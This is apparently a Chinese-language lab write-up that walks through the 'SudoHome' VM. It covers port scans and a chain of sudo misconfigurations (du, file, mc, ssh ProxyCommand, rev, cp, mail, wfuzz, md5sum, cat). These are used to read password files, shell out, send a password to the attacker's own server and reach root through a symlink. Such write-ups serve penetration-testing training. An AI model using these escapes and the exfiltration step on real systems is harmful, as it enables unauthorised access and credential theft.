SudoHome-MJ

1.信息收集

```
┌──(root㉿kali)-[/tmp/test]
└─# nmap --min-rate 10000 -p- 192.168.2.73
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-17 08:18 EST
Nmap scan report for 192.168.2.73
Host is up (0.00064s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:2F:A0:BE (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds

┌──(root㉿kali)-[/tmp/test]
└─# nmap -sV -sC -O -p22,25,80 192.168.2.73
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-17 08:19 EST
Nmap scan report for 192.168.2.73
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
25/tcp open  smtp    Postfix smtpd
| ssl-cert: Subject: commonName=PyCrt.PyCrt
| Subject Alternative Name: DNS:PyCrt.PyCrt
| Not valid before: 2025-04-01T14:05:29
|_Not valid after:  2035-03-30T14:05:29
|_smtp-commands: moban, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:2F:A0:BE (PCS Systemtechnik/Oracle VirtualBox virtual
```

```
NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS
7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: Host:  moban; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.83 seconds

┌──(root㉿kali)-[/tmp/test]
└─# nmap --script=vuln -p22,25,80 192.168.2.73
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-17 08:18 EST
Nmap scan report for 192.168.2.73
Host is up (0.0013s latency).

PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
| smtp-vuln-cve2010-4344:
|_  The SMTP server is not Exim: NOT VULNERABLE
| ssl-dh-params:
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
|       ANONYMOUS DH GROUP 1
|             Cipher Suite: TLS_DH_anon_WITH_AES_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: Unknown/Custom-generated
|             Modulus Length: 2048
|             Generator Length: 8
|             Public Key Length: 2048
|     References:
|_      https://www.ietf.org/rfc/rfc2246.txt
```

```
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 08:00:27:2F:A0:BE (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 37.38 seconds

┌──(root㉿kali)-[/tmp/test]
└─# nmap -sU --top-ports 20 192.168.2.73
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-17 08:21 EST
Nmap scan report for 192.168.2.73
Host is up (0.00034s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   closed        route
631/udp   closed        ipp
1434/udp  open|filtered ms-sql-m
1900/udp  closed        upnp
4500/udp  open|filtered nat-t-ike
49152/udp closed        unknown
MAC Address: 08:00:27:2F:A0:BE (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 14.45 seconds
```

常规收集tcp开放22，25，80端口，udp保留，对smtp测试未发现信息，curl下web看看

```
┌──(root㉿kali)-[/tmp/test]
└─# curl http://192.168.2.73/
```

```
<!-- try ssh -->
```

试下ssh即可得到user1凭据

```
┌──(root㉿kali)-[/tmp/test]
└─# ssh root@192.168.2.73
user1:0woA8Sr7I83R0ZwmnTcH
```

连接即可

2.提权

```
user1@SudoHome:/home$ ls -al
total 48
drwxr-xr-x 12 root   root   4096 Nov 16 08:35 .
drwxr-xr-x 18 root   root   4096 Mar 18  2025 ..
drwxr-xr-x  2 user1  user1  4096 Nov 16 08:35 user1
drwxr-xr-x  2 user10 user10 4096 Nov 16 08:47 user10
drwxr-xr-x  2 user2  user2  4096 Nov 16 08:35 user2
drwxr-xr-x  2 user3  user3  4096 Nov 16 08:35 user3
drwxr-xr-x  2 user4  user4  4096 Nov 16 08:35 user4
drwxr-xr-x  2 user5  user5  4096 Nov 16 08:35 user5
drwxr-xr-x  2 user6  user6  4096 Nov 16 08:35 user6
drwxr-xr-x  2 user7  user7  4096 Nov 16 08:35 user7
drwxr-xr-x  2 user8  user8  4096 Nov 16 08:35 user8
drwxr-xr-x  2 user9  user9  4096 Nov 16 08:35 user9
```

可以预估是提权大赏了

user2

```
user1@SudoHome:/home$ sudo -l
Matching Defaults entries for user1 on SudoHome:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user1 may run the following commands on SudoHome:
    (user2) NOPASSWD: /usr/bin/du
user1@SudoHome:/home$ cd user2
user1@SudoHome:/home/user2$ ls -al
total 24
drwxr-xr-x  2 user2 user2 4096 Nov 16 08:35 .
drwxr-xr-x 12 root  root  4096 Nov 16 08:35 ..
```

```
-rw-r--r--  1 user2 user2  220 Apr 18  2019 .bash_logout
-rw-r--r--  1 user2 user2 3526 Apr 18  2019 .bashrc
-rw-------  1 user2 user2   21 Nov 16 08:35 password.txt
-rw-r--r--  1 user2 user2  807 Apr 18  2019 .profile
```

user2下发现密码，在du的help看到，可能类似wc的读文件

```
      --files0-from=F   summarize disk usage of the
                          NUL-terminated file names specified in file F;
                          if F is -, then read names from standard input
```

拿到user2密码

```
user1@SudoHome:/home/user2$ sudo -u user2 du --files0-from=password.txt
du: cannot access 'tLPi3BLMG2zmwvZ5z9rh'$'\n': No such file or directory
```

user3

```
user2@SudoHome:~$ sudo -l
Matching Defaults entries for user2 on SudoHome:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user2 may run the following commands on SudoHome:
    (user3) NOPASSWD: /usr/bin/file
user2@SudoHome:~$ sudo -u user3 file -f ../user3/password.txt
TFqxDyfGO69DP1lyjt0f: cannot open `TFqxDyfGO69DP1lyjt0f' (No such file or
directory)
```

user4

```
user3@SudoHome:/home/user2$ sudo -l
Matching Defaults entries for user3 on SudoHome:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user3 may run the following commands on SudoHome:
    (user4) NOPASSWD: /usr/bin/mc
user3@SudoHome:/home/user2$ sudo -u user4 mc -v ../user4/password.txt
```

user5

```
user4@SudoHome:/home/user2$ sudo -l
Matching Defaults entries for user4 on SudoHome:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user4 may run the following commands on SudoHome:
    (user5) NOPASSWD: /usr/bin/ssh
user4@SudoHome:/home/user2$ sudo -u user5 ssh -o ProxyCommand=';sh 0<&2 1>&2'
x
$ pwd
/home/user2
$ cat ../user5/password.txt
GZ5KErjFycaYHZGj7GcI
```

user6

```
user5@SudoHome:/home/user2$ sudo -l
Matching Defaults entries for user5 on SudoHome:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user5 may run the following commands on SudoHome:
    (user6) NOPASSWD: /usr/bin/rev
user5@SudoHome:/home/user2$ rev --help
Usage: rev [options] [file ...]

Reverse lines characterwise.

Options:
 -h, --help     display this help
 -V, --version  display version

For more details see rev(1).
user5@SudoHome:/home/user2$ sudo -u user6 rev ../user6/password.txt >
/tmp/user6_passwd
user5@SudoHome:/home/user2$ rev /tmp/user6_passwd
Z5cWU36wQhxAVGJbGwoL
```

user7

这里有个小细节，**cp命令在创建文件时会保留源文件的属组和权限，但是如果覆盖文件则是保留覆盖文件的属组和权限**

```
user6@SudoHome:~$ sudo -l
Matching Defaults entries for user6 on SudoHome:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user6 may run the following commands on SudoHome:
    (user7) NOPASSWD: /usr/bin/cp
user6@SudoHome:~$ touch /tmp/user7_passwd
user6@SudoHome:~$ chmod 777 /tmp/user7_passwd
user6@SudoHome:~$ sudo -u user7 cp ../user7/password.txt /tmp/user7_passwd
user6@SudoHome:~$ cat /tmp/user7_passwd
HLoKAOu86miWIYKdyVx3
```

user8

```
user7@SudoHome:/home/user8$ sudo -l
Matching Defaults entries for user7 on SudoHome:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user7 may run the following commands on SudoHome:
    (user8) NOPASSWD: /usr/bin/mail
user7@SudoHome:/home/user8$ sudo -u user8 mail -f password.txt
Mail version 8.1.2 01/15/2001.  Type ? for help.
"password.txt": 0 messages
& !cat password.txt
UxeGoUq8xqBRxyWVQPYK
```

user9

我的思路，把password当字典FUZZ下kali的81端口

kali

```
┌──(root㉿kali)-[/tmp/test]
└─# php -S 0.0:81
[Mon Nov 17 08:44:27 2025] PHP 8.4.11 Development Server (http://0.0:81)
started
```

```
[Mon Nov 17 08:47:38 2025] 192.168.2.60:53258 Accepted
[Mon Nov 17 08:47:38 2025] 192.168.2.60:53258 [404]: GET /peqkSBCDKvVxxNwcq1j4
- No such file or directory
[Mon Nov 17 08:47:38 2025] 192.168.2.60:53258 Closing
```

靶机

```
user8@SudoHome:~$ sudo -l
Matching Defaults entries for user8 on SudoHome:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user8 may run the following commands on SudoHome:
    (user9) NOPASSWD: /usr/bin/wfuzz


user8@SudoHome:~$ sudo -u user9 wfuzz -z file,/home/user9/password.txt
http://192.168.2.60:81/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is
not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL
sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.2.60:81/FUZZ
Total requests: 1

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000001:   404        6 L      57 W       553 Ch      "peqkSBCDKvVxxNwcq1j4"

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0
```

user10

这里有个老大的大细节，先看例子

```
user9@SudoHome:~$ echo "1" > test1
user9@SudoHome:~$ echo -n "1" > test2
user9@SudoHome:~$ ls -al
total 36
drwxr-xr-x  3 user9 user9 4096 Nov 17 08:49 .
drwxr-xr-x 12 root  root  4096 Nov 16 08:35 ..
-rw-r--r--  1 user9 user9  220 Apr 18  2019 .bash_logout
-rw-r--r--  1 user9 user9 3526 Apr 18  2019 .bashrc
drwxr-xr-x  3 user9 user9 4096 Nov 17 08:46 .config
-rw-------  1 user9 user9   21 Nov 16 08:35 password.txt
-rw-r--r--  1 user9 user9  807 Apr 18  2019 .profile
-rw-r--r--  1 user9 user9    2 Nov 17 08:49 test1
-rw-r--r--  1 user9 user9    1 Nov 17 08:49 test2
user9@SudoHome:~$ cat test1
1
user9@SudoHome:~$ cat test2
user9@SudoHome:~$ xxd test1 && xxd  test2
00000000: 310a                                     1.
00000000: 31                                       1
```

可以看到echo默认是加换行的，echo -n则不加

```
user9@SudoHome:~$ ls ../user10/password.txt -la
-rw------- 1 user10 user10 13 Nov 16 08:35 ../user10/password.txt
```

可以看到password是13字符，也就是有可能password是12+1（十二字符加一回车），也有可能是13字符

```
user9@SudoHome:~$ sudo -l
Matching Defaults entries for user9 on SudoHome:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user9 may run the following commands on SudoHome:
    (user10) NOPASSWD: /usr/bin/md5sum
user9@SudoHome:~$ sudo -u user10 md5sum ../user10/password.txt
65e31d336be184593812c18533fa4fa2  ../user10/password.txt
```

md5sum实际上就是对文件内容做md5

所以破解思路就是**从rockyou提出来12字符的密码，然后echo str | md5sum对比hash值，如果对不上，提取13字符密码，然后echo -n str | md5sum即可**

```
┌──(root㉿kali)-[/tmp/test]
└─# grep -xE '.{12}' /usr/share/wordlists/rockyou.txt > pass.txt

┌──(root㉿kali)-[/tmp/test]
└─# chmod +x ez.sh

┌──(root㉿kali)-[/tmp/test]
└─# ./ez.sh pass.txt
目标文件大小: 13 字节
可能密码长度: 12字符(有换行符) 或 13字符(无换行符)
开始针对性破解...
----------------------------------------
已尝试: 50 个密码
已尝试: 3750 个密码
✅ 找到密码 (12字符+换行符): 'morrinsville'
字符数: 12 + 换行符
```

脚本

```
┌──(root㉿kali)-[/tmp/test]
└─# cat ez.sh
#!/bin/bash

TARGET_HASH="65e31d336be184593812c18533fa4fa2"
WORDLIST=$1

echo "目标文件大小: 13 字节"
echo "可能密码长度: 12字符(有换行符) 或 13字符(无换行符)"
echo "开始针对性破解..."
echo "----------------------------------------"

counter=0
found=0

while IFS= read -r password; do
    [ -z "$password" ] && continue  # 跳过空行

    counter=$((counter + 1))

    # 尝试不带换行符
    hash1=$(echo -n "$password" | md5sum | awk '{print $1}')
    if [ "$hash1" = "$TARGET_HASH" ]; then
```

```
            echo "✅ 找到密码 (13字符，无换行符): '$password'"
            echo "字符数: $(echo -n "$password" | wc -c)"
            found=1
            break
        fi

        # 尝试带换行符（12字符密码）
        if [ ${#password} -eq 12 ]; then
            hash2=$(echo "$password" | md5sum | awk '{print $1}')
            if [ "$hash2" = "$TARGET_HASH" ]; then
                echo "✅ 找到密码 (12字符+换行符): '$password'"
                echo "字符数: 12 + 换行符"
                found=1
                break
            fi
        fi

        # 显示进度
        if [ $((counter % 50)) -eq 0 ]; then
            echo "已尝试: $counter 个密码"
        fi

    done < "$WORDLIST"

    if [ $found -eq 0 ]; then
        echo "❌ 在 $counter 个密码中未找到匹配"
        echo "建议扩展字典或尝试其他攻击方法"
    fi
```

root

```
user10@SudoHome:~$ sudo -l
Matching Defaults entries for user10 on SudoHome:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user10 may run the following commands on SudoHome:
    (ALL) NOPASSWD: /usr/bin/cat /home/user10/.important
user10@SudoHome:~$ ls -al
total 32
drwxr-xr-x  2 user10 user10 4096 Nov 16 08:47 .
drwxr-xr-x 12 root   root   4096 Nov 16 08:35 ..
-rw-------  1 user10 user10   26 Nov 16 08:48 .bash_history
-rw-r--r--  1 user10 user10  220 Apr 18  2019 .bash_logout
```

```
-rw-r--r--  1 user10 user10 3526 Apr 18  2019 .bashrc
-rw-------  1 root   root     13 Nov 16 08:47 .important
-rw-------  1 user10 user10   13 Nov 16 08:35 password.txt
-rw-r--r--  1 user10 user10  807 Apr 18  2019 .profile
user10@SudoHome:~$ rm -f .important
user10@SudoHome:~$ ln -s /root/root.txt .important
user10@SudoHome:~$ ls -al
total 28
drwxr-xr-x  2 user10 user10 4096 Nov 17 09:06 .
drwxr-xr-x 12 root   root   4096 Nov 16 08:35 ..
-rw-------  1 user10 user10   26 Nov 16 08:48 .bash_history
-rw-r--r--  1 user10 user10  220 Apr 18  2019 .bash_logout
-rw-r--r--  1 user10 user10 3526 Apr 18  2019 .bashrc
lrwxrwxrwx  1 user10 user10   14 Nov 17 09:06 .important -> /root/root.txt
-rw-------  1 user10 user10   13 Nov 16 08:35 password.txt
-rw-r--r--  1 user10 user10  807 Apr 18  2019 .profile
user10@SudoHome:~$ sudo /usr/bin/cat /home/user10/.important
flag{root-f522d1d715970073a6413474ca0e0f63}
```

为什么能删root的文件自行google